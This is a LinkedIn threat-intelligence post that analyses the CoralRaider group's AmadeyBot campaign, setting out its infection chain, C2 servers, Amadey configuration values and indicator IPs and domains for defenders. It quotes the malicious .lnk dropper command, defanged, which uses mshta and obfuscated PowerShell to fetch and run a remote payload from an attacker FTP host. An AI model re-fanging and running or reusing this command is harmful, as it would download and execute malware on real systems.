Idan Tarab on LinkedIn: #apt #ttps #coralraider #threat #ta #malware #phishing #infostealer…

linkedin.com/posts/idan-tarab-7a9057200_apt-ttps-coralraider-activity-7238998746254999553-57LG/

Idan Tarab

🚨- - -Attention - - -🚨 "APT CoralRaider Expands Arsenal: AmadeyBot, FTP Innovations, and Complex Domain Strategy" #APT #TTPS #CoralRaider #threat #TA #malware #phishing #infostealer #Amadey #Botnet #IOC #RE 🐓 Adversary TTPS: 🐓 ---Sophisticated using of top-level domains (TLDs)--- #FTP Techniques: CoralRaider employs advanced FTP methods for discreet and efficient data transfer, enhancing stealth and minimizing detection risks. [--Last campaigns based on CDN--] #Domain Usage: The group utilizes both .pt (Portugal) and .ru (Russia) domains, shifting from previous Vietnamese infrastructure. This diverse domain use aids in evading detection and complicates attribution. #Origin Speculation: The combination of .pt and .ru domains suggests a deliberate strategy to obscure their origins. While earlier links pointed to Vietnam, the new domain evidence hints at potential connections to Portuguese-speaking and Russian-speaking regions. 🏁 #Flow: #lnk -> #HTA obfuscation->#PS1 Decrypter ->#Gzip-> ps1_Loader -> #SchTask -> #AmadeyBot 🏹 .lnk_Command: 🏹 .(gp -pa 'HKLM:\SOF*\Clas*\Applications\msh*e'). ('PSChildName')hxxps://ftp[.]alphaglobal[.]pt/b[.]cod 🔫 .lnk #Dropper 🔫 "C:\Windows\system32\mshta[.]exe" hxxps://ftp[.]alphaglobal[.]pt/b[.]cod 💉 c2: 💉 176[.]61[.]150[.]117:443 https://ftp[.]alphaglobal[.]pt/b[.]cod ✂ Amadey_Config: ✂ Family amadey Version 4.41 Botnet 41cd5f #C2 hxxp://specificsecurity[.]ru Attributes strings_key 7ddd79f3dbc40c57a6e985f4fb083fba rc4.plain e13a1529d3734dd701be58b6beb43edd DNS: smartkontur[.]site DNS dukastotranza[.]click DNS specificsecurity[.]ru ---I0c's:--- 🔗 IP'S: 🔗 79[.]110[.]62[.]116 194[.]58[.]112[.]174 176[.]61[.]150[.]117 ⚒ Domains: ⚒ alphaglobal[.]pt dukastotranza[.]click ftp.alphaglobal[.]pt smartkontur[.]site specificsecurity[.]ru Thanks for my partner -> Igal Lytzki 📌Ref:📌 rb.gy/dkapp5 -> Cisco-Talos. --- rb.gy/5m0nxc -> Cisco-Talos. 🔎 --More information via comments-- 🔎 #phishing #phishingattack #hacking #threathunting #threatintelligence #cybersecurity #phishingemails #cyberthreats #dataprotection #securityawerness #threatresearch #cyberattack #detection #incidentresponse #apts #Rc4 #encryption #CyberDefense #infosec #apt #ttps #threats #cybercrime #threatactors #virustotal #ip #emailsecurity #dfir #ida #emailprotection

#research #ethicalhacking #intelligence #blueteam #redteam #threatprevention #ir #hunting #security #ttp #cti #threatanalysis #reverseengineering #cyber #informationsecurity #threatactor #threatactors #soc #edr #malware #cybersecurity #cybersecuritynews #cyberintelligence #cybercriminals #security #securityresearch #cth #secops #threatdetection #cybersecurityawareness #infosec #cybernews #incidentresponse #persistence #malwareanalysis #intelligence #bleepingcomputer #thehackernews #obfuscation #powershell #threatactor BleepingComputer The Hacker News Dark Reading The Cyber Security Hub™ At-Bay Cisco Talos Cyber Security News ®

42 10 Comments

Like

Reply

1 Reaction

Like

Reply

1 Reaction

Idan Tarab
Security analyst, MDR @ At-Bay

2w

Like

Reply

1 Reaction

Idan Tarab
Security analyst, MDR @ At-Bay

2w

Like

Reply

1 Reaction

Idan Tarab
Security analyst, MDR @ At-Bay

2w

Like

Reply

1 Reaction

Idan Tarab
Security analyst, MDR @ At-Bay

2w

Like

Reply

1 Reaction

Like

Reply

1 Reaction

Like

Reply

1 Reaction

Like

Reply

1 Reaction

Like

Reply

1 Reaction

Like

Reply

1 Reaction

See more comments

To view or add a comment, sign in